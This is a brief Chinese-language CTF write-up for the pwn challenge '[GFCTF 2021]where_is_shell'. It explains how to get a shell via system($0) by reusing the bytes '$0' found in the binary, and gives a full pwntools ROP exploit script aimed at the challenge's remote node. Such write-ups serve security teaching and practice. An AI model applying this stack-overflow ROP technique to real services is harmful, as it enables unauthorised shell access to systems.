[GFCTF 2021]where_is_shell
shell
的特殊姿勢
看上去很簡單的棧溢位,但是問題在於找不到能用的/bin/sh
或者sh
這裡出現了一個shell
的新姿勢:可以利用system($0)
獲得shell許可權,$0
在機器碼中為 \x24\x30
在tips
函式中正好有 \x24\x30
可以用來構造,所以需要取出0x400541
關於ida
開啟機器碼:Option->general->Number of opcode改成5
from pwn import *
#io = process('./shell')
io = remote('node4.anna.nssctf.cn',28065)
elf = ELF('./shell')
pop_rdi = 0x00000000004005e3 #: pop rdi ; ret
sys_addr = 0x400557
ret_addr = 0x0000000000400416 #: ret
padding = 0x10+8
payload = b'A'*padding+p64(ret_addr)+p64(pop_rdi)+p64(0x400541)+p64(elf.plt['system'])+p64(ret_addr)
io.sendline(payload)
io.interactive()